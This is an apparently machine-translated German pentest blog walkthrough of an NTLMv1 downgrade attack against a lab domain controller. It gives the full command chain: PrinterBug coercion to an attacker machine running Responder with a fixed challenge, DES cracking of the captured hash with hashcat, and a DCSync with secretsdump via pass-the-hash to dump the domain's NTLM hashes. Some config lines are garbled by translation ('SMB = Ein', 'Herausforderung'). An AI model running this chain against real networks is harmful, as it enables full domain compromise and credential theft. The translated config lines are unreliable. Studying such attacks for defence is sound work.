NTLMv1-Downgrade-Angriff
Aktie
NetNTLMv1-Downgrade
Wie wir bereits in früheren Beiträgen erwähnt haben, werden wir nach der erzwungenen Authentifizierung und dem Erhalt des NetNTLM-Hashs des Passworts des Computerbenutzers des Opfers hauptsächlich mit drei verschiedenen Ausnutzungsszenarien konfrontiert, in diesem Fall geht es um:
- NetNTLMv1-Downgrade
In diesem Szenario nutzt der Angreifer das Authentifizierungsprotokoll NetNTLMv1 im Netzwerk aus.
Um dieses Authentifizierungsprotokoll zu missbrauchen, muss auf dem für „Coerce Authentication“ anfälligen Server der Schlüssel „LmCompatibilityLevel“ in der Registrierung konfiguriert sein und einen Wert von 2 oder weniger haben.
Dies kann konfiguriert werden, indem das Senden von LM- und NTLM-Antworten in der Gruppenrichtlinie mit dem Namen „Netzwerksicherheit: LAN Manager-Authentifizierungsebene“ aktiviert wird.
Zusammenfassung
Der Ausnutzungsprozess dieses Angriffs wird im Folgenden ausführlich erläutert:
- Erhalten Sie eine NetNTLMv1-Antwort vom Domänencontroller-Maschinenkonto, indem Sie die Authentifizierung mit einer beliebigen Schwachstelle bei „Authentifizierung erzwingen“ erzwingen.
- Wandeln Sie den erhaltenen NetNTLMv1-Hash in ein Format um, das im DES-Modus geknackt werden kann.
- Knacken Sie die verschiedenen Teile des Hashs und erhalten Sie die DES-Schlüssel für jeden von ihnen.
- Transformieren Sie die erhaltenen DES-Schlüssel in das NTLM-Format.
- Führen Sie eine DCSync durch, um das NTDS über Pass The Hash unter Verwendung des in den vorherigen Schritten erhaltenen NTLM-Hashs zu erhalten.
Testlaborkomponenten
Im Folgenden beschreiben wir kurz die im Prüflabor gefundenen Vermögenswerte:
- Attack_Machine – Diese Maschine bezieht sich auf ein Kali-Linux, von dem aus wir den Angriff durchführen, um eine „Zwangsauthentifizierung“ zu erhalten und die Software abhören zu lassen, um den Hash des Maschinenbenutzers im NetNTLMv1-Format zu erhalten.
- DC.corp.lab – Domänencontroller mit der konfigurierten Domäne „corp.lab“, der Opfer des Angriffs wird. Ein Benutzer namens „Bob“ wird in dieser unprivilegierten Domäne konfiguriert, um den Angriff aus seiner Kompromittierung nachzuahmen. Auf diesem Server wird die oben genannte Gruppenrichtlinie angewendet.
Entwicklung des Angriffs
Erhalten einer NetNTLMv1-Antwort
Um den Angriff zu starten, müssen wir prüfen, ob der Domänencontroller für einen der hier erläuterten „Coerce Authentication“-Angriffe anfällig ist. In diesem Fall erfolgt die Ausnutzung durch Missbrauch des MS-RPC namens MS-RPRN mithilfe des Printer Bug- Skripts.
Sie müssen mithilfe des folgenden Befehls überprüfen, ob der DC besagtes MS-RPC aktiviert hat:
python3 rpcdump.py @dc.corp.lab | grep 'MS-RPRN'
sudo nano /etc/responder/Responder.conf
SMB = Ein
HTTP = Ein
;Herausforderung = Zufällig
Herausforderung = 1122334455667788
Sobald die Antwortkonfigurationsdatei bearbeitet wurde, muss sie wie folgt ausgeführt werden, damit sie lauscht. Das Flag –lm erzwingt ein Downgrade in bestimmten Versionen des Betriebssystems.
sudo responder -I eth0 -wv --lm
'python3 Printerbug.py „CORP/bob:password“ @dc.corp.lab attack_machine‘
Nachdem die Authentifizierung des Maschinenbenutzers des Domänencontrollers gegenüber der Maschine des Angreifers erzwungen wurde, wird der NetNTLMv1-Hash dieses Benutzers abgerufen.
Wandeln Sie den erhaltenen NetNTLMv1-Hash in ein Format um, das geknackt werden kann
Wie bereits erwähnt, muss der NetNTLMv1-Hash nach Erhalt in ein Format umgewandelt werden, das im DES-Modus geknackt werden kann. Dazu wird das Tool ntlmv1-multi verwendet, das die folgenden Schritte bereitstellt, um den Hash korrekt zu knacken.
python3 ntlmv1.py --ntlmv1 'hash ntlmv1'
Wie im vorherigen Screenshot zu sehen ist, zeigt das Tool selbst, wie die letzten 4 Ziffern des NTLM-Hashs berechnet werden, und stellt einerseits die Hashes bereit, die in das DES-Format geknackt werden müssen, sowie den Befehl, der erforderlich ist ausgeführt werden.
Knacken Sie die verschiedenen Teile des Hashs und erhalten Sie die DES-Schlüssel von jedem von ihnen
Daher wird zunächst die Berechnung der letzten 4 Ziffern des NTLM-Hashs wie folgt mit einem Hashcat- Tool durchgeführt:
/usr/lib/hashcat-utils/ct3_to_ntlm.bin 'Ausgabe erhalten mit ntlmv1.py'
Andererseits werden die beiden vom Tool ntlmv1-multi bereitgestellten Hashes mithilfe des Hashcat- Cracking-Tools mit dem folgenden Befehl in das DES-Format geknackt:
hashcat.exe -m 14000 -a 3 -1 charsets/DES_full.hcchr --hex-charset 'fichero con hashes' ?1?1?1?1?1?1?1?1
HINWEIS: In alten Versionen von Hashcat wird der „Zeichensatz“ DES_FULL.charset verwendet, in aktualisierten Versionen wird DES_full.hcchr verwendet.
Nach dem Knackvorgang erhalten Sie folgende DES-Schlüssel:
Transformieren Sie die erhaltenen DES-Schlüssel in das NTLM-Format:
Sobald die beiden DES-Schlüssel erhalten wurden, müssen andere Hashcat- Tools verwendet werden, die eine Umwandlung dieser Schlüssel in das NTLM-Format ermöglichen.
/usr/lib/hashcat-utils/deskey_to_ntlm.pl 'DES KEY crackeada 1'
/usr/lib/hashcat-utils/deskey_to_ntlm.pl 'DES KEY crackeada 2'
Führen Sie einen DCSync durch, um das NTDS mithilfe von Pass The Hash abzurufen:
Nachdem alle Teile des NTLM-Hashs des Computerbenutzers des Domänencontrollers abgerufen wurden, ist es möglich, einen DCSync durchzuführen und das NTDS der Domäne mithilfe des Tools „ secretsdump.py “ von impacket abzurufen, indem ein „Pass The Hash“-Angriff durchgeführt wird:
Python3 Secretsdump.py -just-dc-ntlm -hashes ‚hash_ntlm‘ ‚corp.lab/dc$@dc.corp.lab‘‘